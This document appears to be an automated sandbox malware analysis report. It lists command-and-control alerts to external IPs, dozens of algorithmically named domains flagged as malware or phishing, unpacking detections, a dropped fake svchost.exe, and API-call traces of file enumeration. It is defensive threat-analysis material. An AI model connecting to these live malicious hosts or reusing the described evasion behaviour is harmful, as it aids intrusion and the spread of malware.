2024-11-11T18:51:25.660834+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59214	178.162.203.226	80	TCP
2024-11-11T18:51:25.685561+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59213	3.94.10.34	80	TCP
2024-11-11T18:51:25.685857+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59215	44.221.84.105	80	TCP
2024-11-11T18:51:25.685967+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59218	18.208.156.248	80	TCP
2024-11-11T18:51:25.689589+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59222	99.83.170.3	80	TCP
2024-11-11T18:51:25.689589+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59219	44.221.84.105	80	TCP
2024-11-11T18:51:25.691993+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59216	199.59.243.227	80	TCP
2024-11-11T18:51:25.788734+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59220	162.255.119.102	80	TCP
2024-11-11T18:51:26.029010+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59223	188.114.96.3	80	TCP
2024-11-11T18:51:26.143279+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59221	154.212.231.82	80	TCP
2024-11-11T18:51:26.702774+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59212	199.191.50.83	80	TCP
2024-11-11T18:51:27.046754+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59226	44.221.84.105	80	TCP
2024-11-11T18:51:27.128722+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59225	162.255.119.102	80	TCP
2024-11-11T18:51:32.854009+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59233	18.208.156.248	80	TCP
2024-11-11T18:51:34.292569+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59238	178.162.203.226	80	TCP
2024-11-11T18:51:34.292614+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59235	99.83.170.3	80	TCP
2024-11-11T18:51:34.292655+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59237	44.221.84.105	80	TCP
2024-11-11T18:51:34.292697+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59241	3.94.10.34	80	TCP
2024-11-11T18:51:34.334665+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59239	188.114.96.3	80	TCP
2024-11-11T18:51:34.630829+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59236	154.212.231.82	80	TCP
2024-11-11T18:51:35.819106+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59250	91.195.240.19	80	TCP
2024-11-11T18:51:36.200017+0100	2804852	1	Malware Command and Control Activity Detected	192.168.2.6	59240	199.191.50.83	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: UMwpXhA46R.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://qedysov.com/login.php	Avira URL Cloud: Label: malware
Source: http://qekyqoq.com/login.php	Avira URL Cloud: Label: malware
Source: http://qexyfuq.com/pg	Avira URL Cloud: Label: malware
Source: http://qedysol.com/login.php	Avira URL Cloud: Label: malware
Source: http://vopycoc.com/login.php	Avira URL Cloud: Label: malware
Source: http://pumywug.com/	Avira URL Cloud: Label: phishing
Source: http://qeqykop.com/login.php	Avira URL Cloud: Label: malware
Source: http://vocyzek.com/http://gatyviw.com/	Avira URL Cloud: Label: malware
Source: http://qetyvil.com/H	Avira URL Cloud: Label: malware
Source: http://volyjym.com/login.php	Avira URL Cloud: Label: malware
Source: http://gadycew.com/login.php	Avira URL Cloud: Label: malware
Source: http://vocyjet.com/login.php	Avira URL Cloud: Label: malware
Source: http://qeqyxov.com/login.php	Avira URL Cloud: Label: malware
Source: http://puzylyp.com/login.php	Avira URL Cloud: Label: malware
Source: http://lykyfud.com/login.php	Avira URL Cloud: Label: malware
Source: http://lyxyvyn.com/login.php	Avira URL Cloud: Label: malware
Source: http://galyvuz.com/login.php	Avira URL Cloud: Label: malware
Source: http://lyrywoj.com/login.php	Avira URL Cloud: Label: malware
Source: http://vowyrif.com/login.php	Avira URL Cloud: Label: malware
Source: http://lymyvin.com/	Avira URL Cloud: Label: malware
Source: http://ww16.vofycot.com/login.php?sub1=20241112-0450-397d-84b8-860db74cb63b	Avira URL Cloud: Label: malware
Source: http://vocyruk.com/login.php	Avira URL Cloud: Label: phishing
Source: http://lyryman.com/login.php	Avira URL Cloud: Label: malware
Source: http://lyvysur.com/login.php	Avira URL Cloud: Label: malware
Source: http://vowypim.com/login.php	Avira URL Cloud: Label: malware
Source: http://qexyfuq.com/login.php	Avira URL Cloud: Label: malware
Source: http://vofypam.com/http://pujycyp.com/http://volydyk.com/http://pujycyp.com/http://qetyrul.com/http:	Avira URL Cloud: Label: malware
Source: http://lyvymej.com/login.php	Avira URL Cloud: Label: malware
Source: http://qebyqeq.com/login.php	Avira URL Cloud: Label: malware
Source: http://lyryled.com/login.php	Avira URL Cloud: Label: malware
Source: http://vojygok.com/login.php	Avira URL Cloud: Label: malware
Source: http://gahyvab.com/login.php	Avira URL Cloud: Label: malware
Source: http://qekysip.com/	Avira URL Cloud: Label: malware
Source: http://lyryjir.com/login.php	Avira URL Cloud: Label: malware
Source: http://puzymup.com/login.php	Avira URL Cloud: Label: malware
Source: http://galydyw.com/login.php	Avira URL Cloud: Label: malware
Source: http://pujycil.com/login.php	Avira URL Cloud: Label: malware
Source: http://pumycug.com/	Avira URL Cloud: Label: malware
Source: http://vojyduf.com/login.php	Avira URL Cloud: Label: malware
Source: http://lysytoj.com/login.php	Avira URL Cloud: Label: malware
Source: http://pupycuv.com/login.php	Avira URL Cloud: Label: malware
Source: http://qetykyq.com/login.php	Avira URL Cloud: Label: malware
Source: http://gatykyh.com/login.php	Avira URL Cloud: Label: malware
Source: http://vofypam.com/login.php	Avira URL Cloud: Label: malware
Source: http://gadyniw.com/login.php	Avira URL Cloud: Label: malware
Source: http://pupywyv.com/login.php	Avira URL Cloud: Label: phishing
Source: http://lygyxux.com/login.php	Avira URL Cloud: Label: malware
Source: http://volygoc.com/	Avira URL Cloud: Label: malware
Source: https://puzylyp.com/login.php	Avira URL Cloud: Label: malware
Source: http://lyvynid.com/login.php	Avira URL Cloud: Label: malware
Source: http://vojybim.com/login.php	Avira URL Cloud: Label: phishing
Source: http://gadydow.com/login.php	Avira URL Cloud: Label: malware
Source: http://qeqyxyp.com/login.php	Avira URL Cloud: Label: malware
Source: http://lysyxar.com/login.php	Avira URL Cloud: Label: malware
Source: http://lyxygax.com/login.php	Avira URL Cloud: Label: malware
Source: http://vopykum.com/login.php	Avira URL Cloud: Label: malware
Source: http://pumyjip.com/login.php	Avira URL Cloud: Label: malware
Source: http://lygyjuj.com/login.php	Avira URL Cloud: Label: malware
Source: http://ganyfuz.com/login.phpE	Avira URL Cloud: Label: malware
Source: http://puvygyv.com/login.php	Avira URL Cloud: Label: malware
Source: http://pupygel.com/	Avira URL Cloud: Label: malware
Source: http://qekyqop.com/login.php	Avira URL Cloud: Label: malware
Source: http://gahydyb.com/	Avira URL Cloud: Label: malware
Source: http://purymog.com/http://qegylul.com/http://lyryman.com/P	Avira URL Cloud: Label: malware
Source: http://lyxyxox.com/login.php	Avira URL Cloud: Label: malware
Source: http://volyquk.com/login.php	Avira URL Cloud: Label: malware
Source: http://lymyxex.com/login.php	Avira URL Cloud: Label: malware
Source: http://vonypic.com/login.php	Avira URL Cloud: Label: malware
Source: http://volyjif.com/login.php	Avira URL Cloud: Label: malware
Source: http://lysysyx.com/login.php	Avira URL Cloud: Label: malware
Source: http://puzyxip.com/login.php	Avira URL Cloud: Label: malware
Source: http://pumyxiv.com/login.php	Avira URL Cloud: Label: malware
Source: http://vofydak.com/login.php	Avira URL Cloud: Label: malware
Source: http://qedysyp.com/login.php	Avira URL Cloud: Label: phishing
Source: http://gahyvuh.com/login.php	Avira URL Cloud: Label: malware
Source: http://puzyduq.com/login.php	Avira URL Cloud: Label: malware
Source: http://puzydal.com/login.php	Avira URL Cloud: Label: malware
Source: http://qegyhig.com/login.phpY	Avira URL Cloud: Label: malware
Source: http://lyxysad.com/login.php	Avira URL Cloud: Label: malware
Source: http://gahyhys.com/login.php	Avira URL Cloud: Label: malware
Source: http://purywyl.com/login.php	Avira URL Cloud: Label: malware
Source: http://vojyzik.com/login.php	Avira URL Cloud: Label: malware
Source: http://lykyjad.com/login.php	Avira URL Cloud: Label: malware
Source: http://vojycec.com/login.php	Avira URL Cloud: Label: malware
Source: http://galyfis.com/	Avira URL Cloud: Label: malware
Source: http://lymymax.com/H	Avira URL Cloud: Label: malware
Source: http://lyryvur.com/login.php	Avira URL Cloud: Label: malware
Source: http://volydot.com/login.php	Avira URL Cloud: Label: phishing
Source: http://pujygug.com/login.php	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: UMwpXhA46R.exe

ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for sample

Source: UMwpXhA46R.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1240000.2.unpack
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1040000.2.unpack
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3270000.2.unpack
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2560000.2.unpack
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Unpacked PE file: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3040000.2.unpack

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Unpacked PE file: 0.2.UMwpXhA46R.exe.400000.2.unpack
Source: C:\Windows\apppatch\svchost.exe	Unpacked PE file: 2.2.svchost.exe.400000.0.unpack

Source: UMwpXhA46R.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:54645 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.6:54647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:54664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:54680 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:54701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 99.83.170.3:443 -> 192.168.2.6:52120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:52171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 99.83.170.3:443 -> 192.168.2.6:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:59249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 99.83.170.3:443 -> 192.168.2.6:59248 version: TLS 1.2

Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\wkernel32.pdb source: svchost.exe, 00000002.00000002.3427392798.000000000927C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\dll\wntdll.pdb source: svchost.exe, 00000002.00000002.3426848307.0000000009259000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winsta.pdb source: svchost.exe, 00000002.00000002.3422148486.0000000004382000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: svchost.exe, 00000002.00000002.3426848307.0000000009271000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427813652.00000000092A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\wrpcrt4.pdb\??\C:\Program Files (x86)\Windows Defender\symbols\dll\wntdll.pdb source: svchost.exe, 00000002.00000002.3426602006.0000000009206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\winsta.pdb source: svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: com.qedyvap\??\C:\Program Files (x86)\Windows Defender\DLL\wkernel32.pdb source: svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\gacyfeb.com\??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WinSCard.pdb\WinSCard.pdb source: svchost.exe, 00000002.00000002.3419194854.0000000003378000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: com.qegynul\??\C:\Program Files (x86)\Windows Defender\DLL\wkernel32.pdbb source: svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: svchost.exe, 00000002.00000002.3421903093.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426602006.0000000009228000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\WinSCard.pdbdb source: svchost.exe, 00000002.00000002.3413102831.000000000088A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb( source: svchost.exe, 00000002.00000002.3426602006.0000000009228000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbwkernel32.pdb source: svchost.exe, 00000002.00000002.3419194854.0000000003378000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\dll\WinSCard.pdbdb source: svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbll\wntdll.pdb source: svchost.exe, 00000002.00000002.3419194854.0000000003378000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb552 source: UMwpXhA46R.exe, svchost.exe.0.dr
Source:	Binary string: WinSCard.pdb( source: svchost.exe, 00000002.00000002.3424625782.0000000007237000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb source: UMwpXhA46R.exe, svchost.exe.0.dr
Source:	Binary string: kDJwntdll.pdb source: svchost.exe, 00000002.00000002.3413471748.00000000008BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\wntdll.pdb\** source: svchost.exe, 00000002.00000002.3427392798.000000000927C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Program Files (x86)\Windows Defender\wntdll.pdb\* source: svchost.exe, 00000002.00000002.3425216868.000000000827B000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\winsta.pdb source: svchost.exe, 00000002.00000002.3426602006.0000000009206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.000000000927C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbernelbase.pdb source: svchost.exe, 00000002.00000002.3419194854.0000000003378000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: svchost.exe, 00000002.00000002.3426848307.0000000009277000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb( source: svchost.exe, 00000002.00000002.3426848307.0000000009277000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000000.2516200393.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2606987058.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000000.2520248189.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2607414214.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000010.00000002.2585840730.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000000.2578627983.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000000.2588407921.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2670222537.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001B.00000000.2633847837.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001E.00000000.2650762709.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000021.00000002.2734291116.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000024.00000000.2708390726.00000000002DE000.00000002.00000001.01000000.00000009.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000027.00000000.2731091721.00000000002DE000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\wntdll.pdb source: svchost.exe, 00000002.00000002.3426602006.0000000009206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb( source: svchost.exe, 00000002.00000002.3426848307.0000000009271000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WinSCard.pdb source: svchost.exe, 00000002.00000002.3427813652.00000000092A6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3424625782.0000000007237000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\dll\wrpcrt4.pdb1.3.6.1.4.1.311.60.3.2szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION source: svchost.exe, 00000002.00000002.3426848307.0000000009259000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winsta.pdb( source: svchost.exe, 00000002.00000002.3422148486.0000000004382000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\qexyfag.com\??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\dll\wrpcrt4.pdb source: svchost.exe, 00000002.00000002.3406954551.0000000000812000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files (x86)\Windows Defender\symbols\DLL\wkernel32.pdbb source: svchost.exe, 00000002.00000002.3413102831.000000000088A000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C766D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,	2_2_02C766D0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,	2_2_02C8BBE9
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,	2_2_02C8BB20
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,	2_2_02C8D0C0
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C8D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,	2_2_02C8D189
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C9BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,	2_2_02C9BE40
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C97CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,	2_2_02C97CE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0125D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	6_2_0125D189
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0125D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	6_2_0125D0C0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0125BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	6_2_0125BB20
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0125BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	6_2_0125BBE9
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01267CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,	6_2_01267CE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0126BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,	6_2_0126BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012466D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,	6_2_012466D0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0105D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	7_2_0105D189
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0105D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	7_2_0105D0C0
